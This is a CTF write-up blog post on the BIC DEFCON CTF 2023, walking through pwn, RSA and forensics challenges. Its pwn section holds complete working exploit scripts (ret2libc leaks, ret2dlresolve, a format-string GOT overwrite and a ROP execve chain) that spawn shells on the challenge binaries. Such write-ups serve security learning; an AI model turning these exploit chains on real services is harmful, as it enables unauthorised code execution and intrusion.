➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

BIC DEFCON CTF 2023

Description: This was a fun ctf I did and it taught me new things >3

Challenge Solved:

Pwn

Cryptography

Forensics

PWN

Puts in boot [First Blood 🩸]

We are given a binary file attached to it

Checking the file type shows this image

We are working with a x64 binary which is dynamically linked and not stripped

From the result of checksec on this binary we can tell that the binary has no protection enabled on it

What looks interesting is the fact NX is disabled meaning that the stack is executable

And with that it’s possible for us to place shellcode on the stack and execute it

Anyways let us see what the binary does

Running it shows this image

It receives our option prints out some words and exits

To understand the vulnerability in this binary I’ll read the decompiled code

Using ghidra I decompiled the binary

Here’s the main function image


void main(void)

{
  do {
    AI();
  } while( true );
}

It calls the AI function while it returns true

Let us check the AI function image

void AI(void)

{
  char buffer [79];
  char option;
  
  puts("Know of Andrej Karpathy?");
  puts(
      "A: I\'m sorry, who?\nB: Why should I?\nC: Uum, lemme Google and come back\nD: Ofcourse I do!"
      );
  fflush(stdout);
  __isoc99_scanf("%1s",&option);
  if (option == 'A') {
    puts("Andrej Karpathy!! You know, famous computer scientist?");
    puts("A: Yeah, no!\nB: Oooh yeeah!");
    fflush(stdout);
    __isoc99_scanf("%1s",&option);
    if (option == 'A') {
      puts("This Gen Alpha...lol. Tell me, what do you do in your free time if not learning ML?");
      fflush(stdout);
      getchar();
      fgets(buffer,0x100,stdin);
    }
    else if (option == 'B') {
      puts(
          "Yeah, that dude! We\'ll use his ML papers to get control of the world again. Be seeing yo u :)"
          );
    }
    else {
      puts("Sorry, invalid option. Let\'s try this again, shall we?");
    }
  }
  else {
    if (option == 'B') {
      puts("Why shouldn\'t you?");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (option == 'C') {
      puts("Sure. Learn a few things about him and come back :)");
    }
    else {
      if (option == 'D') {
        puts("Finally! Someone of culture!");
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      puts("Sorry, invalid option. Let\'s try this again, shall we?");
    }
  }
  return;
}

I won’t explain what each option does but only the vulnerable section of the code as it’s quite readable and understandable

The vulnerability in this program lies here:

  char buffer [79];

  if (option == 'A') {
    puts("Andrej Karpathy!! You know, famous computer scientist?");
    puts("A: Yeah, no!\nB: Oooh yeeah!");
    fflush(stdout);
    __isoc99_scanf("%1s",&option);
    if (option == 'A') {
      puts("This Gen Alpha...lol. Tell me, what do you do in your free time if not learning ML?");
      fflush(stdout);
      getchar();
      fgets(buffer,0x100,stdin);
    }

It sets the buffer to hold up only 79 bytes and when option ‘A’ is chosen twice we get a prompt which receives our input and stores it in the buffer and we are allowed to write in 0x100 bytes

With that there’s a buffer overflow since the amount of bytes the buffer can hold up is 79

Now that we know that let us get the offset which is the amount of bytes required to overwrite the instruction pointer

I used gdb-gef for this image image

The offset is 88

Now we need a way to exploit this binary to spawn a shell

Remember that no mitigation is enabled so we can potentially perform ret2shellcode

But I don’t feel like going through that since no easy gadget like jmp rsp; ret image

So I’ll go with ret2libc

Since plt of puts is available during the program execution we can potentially use that to leak the got address of puts image

Here’s how my exploit will go:

In order to do this we need gadgets

And luckily the gadgets needed for the leak is available image

Why I need pop rdi; ret is because when puts is called to write values to stdout it requires a parameter to be passed

The way parameters are passed in x64 is via registers so in this case we want to populate the rdi with the address of puts@got

Here’s my exploit script

#!/usr/bin/python3
from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './puts_in_boots'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# Load libc library (identified version from server - https://libc.blukat.me)
# libc = ELF('libc6_2.35-0ubuntu3.1_amd64.so')
libc = elf.libc

offset = 88
pop_rdi = 0x00000000004011d6 # pop rdi; ret; 
ret = 0x000000000040101a # ret; 


payload = flat({
    offset: [
        pop_rdi,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']
    ]
})

io.recvuntil('D: Ofcourse I do!')
io.sendline('A')
io.sendline('A')

# Leak address
io.sendline(payload) 
io.recvline()
io.recvuntil('ML?')
io.recvline()
got_puts = unpack(io.recv()[:6].ljust(8, b"\x00"))
info("got puts: %#x", got_puts)

# Calculate libc base
libc.address = got_puts - libc.symbols['puts']
info("libc_base: %#x", libc.address)

sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
info('/bin/sh: %#x', sh)
info('system: %#x', system)

# Payload to spawn shell
payload = flat({
    offset: [
        pop_rdi,
        sh,
        ret,
        system
    ]
})

io.sendline('A')
io.sendline('A')
io.sendline(payload)

io.interactive()

Running it works image

The remote instance isn’t up so I can’t do it remotely

But if it were up and we ran the exploit it won’t work that’s because the binary libc version is different from mine

That doesn’t change the fact it won’t be leaked

With that we can try to figure the libc being used remotely using this site

And just search for puts address which I got to be libc6_2.35-0ubuntu3.1_amd64.so

With this I assumed that the other pwn challenges will be running on the same libc so if we eventually come across any challenge that requires leaking libc we won’t need to worry about us figuring the remote libc

Karma [First Blood 🩸]

We are given a binary file attached to this challenge

Checking the mitigations enabled shows this image

We are working with a x64 binary which is dynamically linked and not stripped

The only protection enabled on this binary is NX which prevents the stack from being executable

I’ll run the binary to know what it does image

It receives our option then another input and exit

To understand what’s happening I’ll decompile the binary using ghidra

Here’s the main function image

undefined8 main(void)

{
  char buffer [79];
  char option;
  
  write(1,
        "So now you know a thing or two about Andrej right?\nA: yes\nB: no\nC: I\'m honestly not sur e where this is headed.\n"
        ,0x70);
  __isoc99_scanf("%1s",&option);
  if (option == 'A') {
    write(1,
          "Great! I\'m looking to hire people and build a team which would work on redefining machin e learning algos.\n"
          ,0x6a);
    write(1,
          "Sadly, we don\'t have interviews these days, but can you get access to the artificial neu ral network?\n"
          ,0x65);
    getchar();
    fgets(buffer,0x100,stdin);
  }
  else if (option == 'B') {
    write(1,&stuffz,0x4f);
  }
  else if (option == 'C') {
    write(1,"It\'ll get exciting, worry not :)\n",0x21);
  }
  else {
    write(1,"A...B...C",9);
  }
  return 0;
}

Looking at the code we can spot the vulnerability

char buffer [79];

  if (option == 'A') {
    write(1,
          "Great! I\'m looking to hire people and build a team which would work on redefining machin e learning algos.\n"
          ,0x6a);
    write(1,
          "Sadly, we don\'t have interviews these days, but can you get access to the artificial neu ral network?\n"
          ,0x65);
    getchar();
    fgets(buffer,0x100,stdin);

We can see that it assigns a buffer which can only hold up 79 bytes and then when option ‘A’ is chosen we get the option to store value to that buffer

And it can receive up to 0x100 bytes which is stored in a buffer that can only hold up 79 bytes

A buffer overflow :P

I’ll get the offset needed the overwrite the instruction pointer image image

The offset is 88

How can we spawn shell from here?

We can perform a ret2libc again but this time around use write to leak write@got

From the syscall of write image

syscall name  | %rax  | %rdi  | %rsi      | %rdx
write           0x1      fd     char *buf   size

We need the value of rax to be set to 0x1, the value of rdi to be the file descriptor, the value of rsi to be the buffer to read/write and rdx to hold the size of bytes to read/write

In our case here’s how it will be:

write(0x1, write@got, 0x20)

We will write 200 bytes of the value of got of write to standard output

The byte size can also be just 8 afterall it’s just 8 bytes that will be the value

Now we need the gadgets image

Everything is set so let us exploit this

Here’s how my exploit will go:

Here’s my exploit script

#!/usr/bin/python3
# Author: Hack.You
from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './karma'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# Load libc library (identified version from server - https://libc.blukat.me)
# libc = ELF('libc6_2.35-0ubuntu3.1_amd64.so')
libc = elf.libc

offset = 88

pop_rdi = 0x0000000000401196 # pop rdi; ret;
pop_rsi = 0x0000000000401198 # pop rsi; ret; 
pop_rdx = 0x000000000040119a # pop rdx; ret; 

ret = 0x000000000040101a # ret; 


payload = flat({
    offset: [
        pop_rdi,
        0x1,
        pop_rsi,
        elf.got['write'],
        pop_rdx,
        0x20,
        elf.plt['write'],
        elf.symbols['main']
    ]
})

io.recvuntil('headed.')
io.sendline('A')

# Leak address
io.sendline(payload) 
io.recvline()
io.recvuntil('network?')
io.recvline()
got_write = unpack(io.recv()[:6].ljust(8, b"\x00"))
info("got write: %#x", got_write)

# Calculate libc base
libc.address = got_write - libc.symbols['write']
info("libc_base: %#x", libc.address)

sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
info('/bin/sh: %#x', sh)
info('system: %#x', system)

# Payload to spawn shell
payload = flat({
    offset: [
        pop_rdi, # System("/bin/sh")
        sh,
        ret,
        system
    ]
})

io.sendline('A')
io.sendline(payload)

io.interactive()

You will notice I didn’t use any pop rax gadget and that’s not needed because when the program execution eventually reaches write@plt the value of rax will be set to 0x1

Running the exploit works image

Since we have the remote libc file we can use replace this in the exploit for it to work remotely:

Replace: libc = elf.libc
To: libc = ELF('libc6_2.35-0ubuntu3.1_amd64.so')

Breakup [First Blood 🩸]

After downloading the attached file and checking the file type and mitgation enabled I got this image

The same as the previous ones

I’ll run it to know what it does image

It prints out some words receives our input then exits

Using ghidra I decompiled the binary

Here’s the main function image


undefined8 main(void)

{
  undefined8 breakup;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined2 local_68;
  undefined buffer [72];
  FILE *ptr;
  
  ptr = stdout;
  breakup = 0x6b6f726220656853;
  local_f0 = 0x7469772070752065;
  local_e8 = 0x20283a20656d2068;
  local_e0 = 0x65726568206d2749;
  local_d8 = 0x6e696b6e69726420;
  local_d0 = 0x6173206568742067;
  local_c8 = 0x656c207473656464;
  local_c0 = 0x6b616873206e6f6d;
  local_b8 = 0x6874206e6f207365;
  local_b0 = 0x74656e616c702065;
  local_a8 = 0x796c646e694b202e;
  local_a0 = 0x6574696e75657220;
  local_98 = 0x6b63616220656d20;
  local_90 = 0x7247206874697720;
  local_88 = 0x76696c4f20656361;
  local_80 = 0x706d6f6854206169;
  local_78 = 0x6d2069202c6e6f73;
  local_70 = 0x2e72656820737369;
  local_68 = 10;
  fputs((char *)&breakup,stdout);
  read(0,buffer,0x100);
  return 0;
}

It uses fputs to print out those words then uses read to read 0x100 bytes into a buffer that can only hold up 72 bytes

So we have our buffer overflow

I got the offset using the same way I did previously and it was 88

Now how do we exploit this?

Well I was first trying if I could leak got using fputs and that failed reason if because in the exploit I was trying to refer stdout as 0x1 but that’s wrong because stdout is a function in libc and can’t just be replaced using a number set in a register

So what else can we do here 🤔

Looking at this I found a ROP technique called Ret2DlResolve

And that’s what I used to exploit this binary

Here’s my exploit script

from pwn import *

context.binary = 'breakup'

# Make Ret2DLResolve Payload
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\x00'])
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0])
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
pprint(rop.dump())

if len(sys.argv) == 1:
    io = context.binary.process()
else:
    host, port = sys.argv[1].split(':')
    io = remote(host, port)

try:
    io.sendline(b'A' * 88 + raw_rop)
    io.sendline(dlresolve.payload)
    io.interactive()
except EOFError:
    pass

Running it works image

Dubdubdub [First Blood 🩸]

After downloading the binary and checking the file type / mitgations I got this image

It’s the same file type as the previous ones but what’s different here is the mitigation enabled

I’ve talked about NX so let me talk about PIE

Basically when PIE is enabled that means that during each time of program execution it will get loaded into different memory address

This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are

Such a pain right?

Let us move on

Running the binary shows this image

This program seems to be in a loop and it receives our input depending on the option chosen then prints it out

Before I start anything here I want to patch the binary since I’m pretty sure the remote will be using the same libc as the previous one

I used pwninit to do that

pwninit --bin dubdubdub libc6_2.35-0ubuntu3.1_amd64.so --no-template

Let us move on!

Using ghidra I decompiled the binary here’s the main function image image

void main(void)

{
  int fd;
  long in_FS_OFFSET;
  char option;
  char buffer [264];
  undefined8 canary;
  
  canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  do {
    write(1,"Let\'s start a war! Kali or Parrot:\nKali\nParrot\nNeither\nChoose your fighter: ",0x4c
         );
    __isoc99_scanf("%s",&option);
    fd = strncmp(&option,"Kali",4);
    if (fd == 0) {
      printf("%s","Right?? ");
      fflush(stdout);
      printf(&option);
      fflush(stdout);
      printf(" %s\n",&DAT_00102068);
      fflush(stdout);
    }
    else {
      fd = strncmp(&option,"Parrot",6);
      if (fd == 0) {
        puts("Nooooope!!");
        fflush(stdout);
      }
      else {
        fd = strncmp(&option,"Neither",7);
        if (fd == 0) {
          printf("%s","Oooh sorry. I meant to ask:\nArch\nGentoo\nChoose your fighter: ");
          fflush(stdout);
          __isoc99_scanf("%s",&option);
          fd = strncmp(&option,"Arch",4);
          if (fd == 0) {
            puts("We are sorry!");
            fflush(stdout);
          }
          else {
            fd = strncmp(&option,"Gentoo",6);
            if (fd == 0) {
              puts(&DAT_00102118);
              fflush(stdout);
            }
            else {
              puts("Never heard of that, yikes!!");
              fflush(stdout);
            }
          }
        }
        else {
          write(1,"Which one is that??\n",0x14);
        }
      }
    }
    write(1,"Please tell me more about it: ",0x1e);
    getchar();
    fgets(buffer,0x100,stdin);
    printf(buffer);
    fflush(stdout);
  } while( true );
}

I won’t explain what the code does since its kinda understandable looking at it

But here’s the vulnerability

char buffer [264];
fgets(buffer,0x100,stdin);
printf(buffer);

It receives 255 bytes of our input and stores in a buffer that can hold up 264 bytes

No buffer overflow since there’s amount of bytes the buffer can hold

But below it, the program uses printf to print the content of the buffer which is basically our input

That’s where the bug lies!!! We have a format string vulnerability because it uses printf to print the content of buffer without using a format specifier

How do we exploit this?

First let us get the offset of our input on the stack using the %p format specifier image

Our input is at offset 8

Now what next?

From the protections enabled on the binary we know that No RELRO

That means we can overwrite the functions in the Global Offset Table (GOT)

And what we would want to overwrite is printf to system

So that when printf is called it would be system

Luckily this binary is running in a loop making it our exploit stage less

Since ASLR is enabled we would want to calculate the libc base address

Here’s how I got it

First we need to know the format of how a libc function would look like and I used vmmap in gdb to do that image image image

Looking at that the libc starts from 0x00007ffff7c00000 and ends at 0x00007ffff7c28000

But that’s the case is ASLR is disabled and gdb-gef disables it by default

So I’ll run it again but this time enabled aslr on gdb image image image

Now we have the right value

Libc starting from 0x00007fa0d7600000 and ends at 0x00007fa0d7628000

What that means is that any function in libc will have that range of memory address

And that’s important because we can calculate the libc base

At this point we need a memory address that resembles that

I made this little fuzz script

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ("server", "port")
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = """
init-pwndbg
continue
""".format(**locals())

# Binary filename
exe = "./dubdubdub"
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = "info"
warnings.filterwarnings("ignore")

io = start()

io.sendline('Kali')
out = ""
for i in range(30,60):
    out += f"{i}=%{i}$p "
io.sendline(out)

io.interactive()

On running it shows and attaching the process to gdb I got this image

At offset 43 it’s a libc function

And the value there is this image

__libc_start_call_main+128

So to get into the __libc_start_call_main I’ll need to subtract 128 from it image

Now that we know that the libc base address will be calculate this way:

leak - (0x7fb0d9229d10 - 0x7fb0d9200000)

To confirm that I made this script

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ("server", "port")
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = """
init-pwndbg
aslr on
continue
""".format(**locals())

# Binary filename
exe = "./dubdubdub"
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = "info"
warnings.filterwarnings("ignore")

io = start()
libc = ELF('./libc.so.6')

io.sendline("kali")
io.sendline("Libc="+ "%43$p")
io.recvuntil("Libc=")

leak = int(io.recvline().strip().decode()[0:14], 16) - 128
print("Libc Leak:", hex(leak))
libc.address = leak - (0x7f63dbe29d10- 0x7f63dbe00000)
print("Libc base address:", hex(libc.address))

io.interactive()

Running it works and confirms that we have a way of getting the libc base address image

Since we have that we can call our any other function in the libc meaning we have the exact address of system

Now the next thing is that printf is calling from the ELF Global Offset Table (GOT) image

And since PIE is enabled we can’t just overwrite it unless we know the exact address

So let us leak and calculate elf base address

I used my fuzz script and got this image

The elf base address starts from 0x5585a9283000 and ends at 0x5585a9284000

At offset 45 shows an address that belongs in that range

Thefore in calculating the elf base address I did this

leak - (0x5585a9284229 - 0x5585a9283000)

With that set we have the elf base address

And at this point we can overwrite elf.got.printf to libc.symbols.system

Pwntools can help with overwriting values using the fmtstr_payload function

Here’s my solve script

from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ("server", "port")
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = """
init-pwndbg
continue
""".format(**locals())

# Binary filename
exe = "./dubdubdub"
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = "info"
warnings.filterwarnings("ignore")

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

libc =  ELF("./libc.so.6")

# ===========================================================
#           Leak libc and calculate libc base address 
# ===========================================================

# out = ""
# for i in range(30,60):
#     out += f"{i}=%{i}$p "
# print(out)
# io.sendline(out)

io.sendline("kali")
io.sendline("Libc="+ "%43$p")
io.recvuntil("Libc=")

leak = int(io.recvline().strip().decode()[0:14], 16) - 128
print("Libc Leak:", hex(leak))
libc.address = leak - (0x7f63dbe29d10- 0x7f63dbe00000)
print("Libc base address:", hex(libc.address))

# ===========================================================
#           Calculate ELF base address
# ===========================================================

io.sendline("kali")
io.sendline("Pie="+ "%45$p")
io.recvuntil("Pie=")

leak = int(io.recvline().strip().decode()[0:14], 16)
print("Pie leak", hex(leak))
elf.address = leak - (0x55f62235b229 - 0x55f62235a000)
print("Pie base address", hex(elf.address))

# ===========================================================
#          GOT Overwrite
# ===========================================================

offset = 8
printf = elf.got["printf"]
shell = libc.symbols["system"]
payload = fmtstr_payload(offset, {printf: shell})

io.sendline("kali")
io.sendline(payload)

# ===========================================================
#          Spawn Shell
# ===========================================================

io.sendline('kali')
io.sendline('/bin/bash')

io.interactive()

Running it spawns a shell image

Shellstorm [First Blood 🩸]

After downloading the attached file checking the file type shows this image

Same as usual

Running it shows this image

It seems to just receive our input and exit

Before I started I patched the binary also using pwninit as I did previously

Looking at the decopmilation in ghidra shows the main function as this image


undefined8 main(void)

{
  char buffer [64];
  
  fgets(buffer,0x100,stdin);
  return 0;
}

The binary is really simple it just receives our input and stores in the buffer

There’s a buffer overflow since we’re allowed to write 0x100 bytes to a 72 bytes buffer

In the functions there’s a seccomp function image image


void seccomp(void)

{
  undefined8 uVar1;
  
  uVar1 = seccomp_init(0x7fff0000);
  seccomp_rule_add(uVar1,0,2,0);
  seccomp_rule_add(uVar1,0,0x28,0);
  seccomp_load(uVar1);
  return;
}

That’s a seccomp rule and it allows syscall of 0x2 and 0x28

Better still we can just dump the seccomp rule using seccomp-tools image

Cool we can use open & sendfile syscall

But it doesn’t really block any other form of syscall so we can as well use execve which spawns a shell

Wait!!!! How do we even achieve this NX is enabled so we can’t use shellcode to spawn a shell 🤔

Well the fact NX is enabled only just means that the stack won’t be executable image

But we can write to the stack and also read

How do we exploit this binary

Thinking of leaking libc? Well that isn’t possible because fgets can’t be used to write value to stdout and no other C library function is used in this binary

I spent hours here thinking until I decided to check the gadgets available

Luckily I found interesting gadgets image image

The output might look tedious but here’s a filter image

We have this list of gadgets

0x00000000004011a1: pop rax; ret; 
0x000000000040117d: pop rbp; ret; 
0x00000000004011a3: pop rdi; ret; 
0x00000000004011a7: pop rdx; ret; 
0x00000000004011a5: pop rsi; ret;

And one particular interesting one

0x00000000004011a9: mov qword ptr [rdi], rax; ret; 

From the instruction below we can see that the value of rax will be moved to the pointer of rdi

mov qword ptr [rdi], rax; ret; 

Basically it’s deferencing the value of rax to the value of rdi

This means we have kinda arbitrary write

Now where would we want to write and what would we want to write?

My goal is to spawn a shell not open up flag.txt so I’ll write /bin/sh\x00 into a section of the binary that doesn’t contain anything

Luckily the .data section suits this image

Now here’s the idea of how I’ll go about the write

;Write /bin/sh to 0x000000000404038
pop rax; 0x2f62696e2f736800
pop rdi; 0x000000000404038
mov qword ptr [rdi], rax; ret;
syscall

With that the value of /bin/sh will be stored in the .data section of the binary

Next thing is how do we spawn shell?

From the syscall of execve image

syscall name  | %rax    | %rdi              | %rsi                | %rdx
execve           0x3b     char *filename      char *const *argv      char *const *envp

In this case we would want to call /bin/sh and it doesn’t require any parameter so our instruction will be

execve('/bin/sh\x00', 0x0, 0x0)

The equivalent assembly instruction is:

; Call execve
pop rax, 0x3b
pop rdi, 0x000000000404038
pop rsi, 0x0
pop rdx, 0x0
syscall

The syscall gadget is this image

Cool with that let us get the offset needed to overwrite the instruction pointer image image

The offset is 72

Here’s my exploit script

from pwn import *
import warnings

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './shellstorm'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore")

# ===========================================================
# ➜  shellstorm seccomp-tools dump ./shellstorm 
#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000004  A = arch
#  0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
#  0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
#  0005: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0008
#  0006: 0x15 0x01 0x00 0x00000028  if (A == sendfile) goto 0008
#  0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0008: 0x06 0x00 0x00 0x00000000  return KILL
# ===========================================================

io = start()

pop_rax = p64(0x00000000004011a1) # pop rax; ret; 
pop_rdi = p64(0x00000000004011a3) # pop rdi; ret; 
pop_rsi = p64(0x00000000004011a5) # pop rsi; ret; 
pop_rdx = p64(0x00000000004011a7) # pop rdx; ret; 
syscall = p64(0x0000000000401196) # syscall; ret; 
write = p64(0x00000000004011a9) # mov qword ptr [rdi], rax; ret; 
data = p64(0x000000000404038)
offset = 72

# ===========================================================
# Write /bin/sh to 0x000000000404038
# pop rax, 0x2f62696e2f736800
# pop rdi, 0x000000000404038
# mov qword ptr [rdi], rax; ret; 
# ===========================================================

rop = b''
rop += pop_rax
rop += b"/bin/sh\x00"
rop += pop_rdi
rop += data
rop += write

# ===========================================================
# Set up register 
# pop rax, 0x3b
# pop rdi, 0x6b6000
# pop rsi, 0x0
# pop rdx, 0x0

# syscall
# ===========================================================

rop += pop_rax
rop += p64(0x3b)
rop += pop_rdi
rop += data
rop += pop_rsi
rop += p64(0x0)
rop += pop_rdx
rop += p64(0x0)
rop += syscall

offset = 72
io.sendline(b'A'*offset + rop)
payload = b'A'*offset + rop

io.interactive()

Running it spawns a shell image

Fairplay [First Blood 🩸]

I won’t give detailed explanation but just TD;LR as I’m writing this months after the ctf ended

This challenge deals with a one byte overwrite which we would take abuse of and overwrite a libc address call back main

The main function would check if the value stored in the global variable i is 10 and if it is it spawns a shell

So the goal is to call main 10 times and we can get that by doing the one byte overwrite to call back main multiple times

Here’s the expploit script: link

Cryptography

Row row row your boat

We are given a python file named encrypt.py and a text file encrypted.txt

Here’s the content of the encrypt file

#!/usr/bin/env python3

import random
from Crypto.Util.number import getPrime, bytes_to_long

with open('flag.txt', 'rb') as f:
    flag = f.read()


msgs = [
    b'Let us paddle till our muscles ache',
    b'We shall be vitorious!',
    b'Navigating the waters is thrilling!'
        ]
msgs.append(flag)
msgs *= 3
random.shuffle(msgs)

for msg in msgs:
    p = getPrime(1024)
    q = getPrime(1024)
    n = p * q
    e = 3
    m = bytes_to_long(msg)
    c = pow(m, e, n)
    with open('encrypted.txt', 'a') as f:
        f.write(f'n: {n}\n')
        f.write(f'e: {e}\n')
        f.write(f'c: {c}\n\n')

Looking at it we can tell this implements RSA Cryptography

It opens up the flag appends it to the msgs array

Multiply the array by 3 and shuffles the values in the array

For each values in the array it encrypts it using RSA

The issue with this is the usage of a small public exponent e

Because of that if we do pow(m, e) the result will be less than n

With that we can take the pow(m, 1/e) to get the plaintext

Here’s my solve script

from gmpy2 import mpz, iroot
from Crypto.Util.number import long_to_bytes

array = [
    '1606445403065636568810819012599363739676373972401733824562262979393720047441345203331510155323684858474862700641924718626114438041849478877234538720217992366840671654767522379536279527364801782576955917505837079849297281000',
    '194846896547609034061072134079933809195361179466485870842674220305398915048308913277399590416222419090569240139825659087273877107018706499444214997532905136030233571673088796155114618610930456896162923421855989754400134611102282107158959888295838953629',
    '210428273666574987439588816554333702685009792138851787465927117739717679010259365905977055952663918087055397692812673224606017309023090398232201170687062552370980088634372633167406221328465484344822986293438099433384982017642465336221883216352411386209',
    '34960526826403112919414403604978723920639168286799039051382736811763319314775281071957018975100737418258942535165713475059296533080759750255833322314494518625'
]
e = 3

for i in array:
    m = mpz(i)
    res, is_exact = iroot(m, e)
    if is_exact:
        print(f"{e}-th root: {res}")
        pt_bytes = long_to_bytes(res)
        print(f"Plaintext: {pt_bytes}")
    else:
        print("Cube root is not exact")

Running it gives the flag image

Flag: BIC{24o8238a2483964fg93w86t43}

Forensics

Veil Of Shadows

We are given a download file and on checking the file type doesn’t show any thing reasonable image

Looking at the file header signature shows this image

The header is:

5749 4d00

Looking at wikipedia and searching that hex byte shows that it’s a .WIM file image

4D 53 57 49 4D 00 00 00 D0 00 00 00 00

Comparing that to what we have we can tell that the file is missing two bytes which are 4D 53

I made a python script to fix the missing byte

#!/usr/bin/python3

buf = open('Challenge', 'rb').read()
buf = b"\x4D\x53" + buf
with open('shadow.wim', 'wb') as fd:
    fd.write(buf)

Running it creates the shadow.wim file image

I extracted it using wimlib-imagex which I got after installing wimtools

But we need the image name first image

wimlib-imagex info "shadow.wim"

Now we can extract it image

wimlib-imagex extract shadow.wim Defcon-Drive/compress:max

It extracted 76 files

Looking at the extracted file I saw this image

The content shows this image

H4sICHRVpmQAA0ZsYWcudHh0AHPKTK4ON8yNNyiKLy43zK3lAgCeyNDbEQAAAA==

I pasted the base64 encoded value to cyberchef to let it do it’s magic and got the flag image

Flag: Bic{W1m_0r_sw1m}

At the end of the CTF my team n00b5 placed 5th though it would have been 4th because the pwn challenge for Shellstorm was the wrong binary and it worth 200pts :( image image

I had fun solving the challenges thanks to the creators and organizers 🙏

That’s all till next time ( -_・)σ - - - - - - -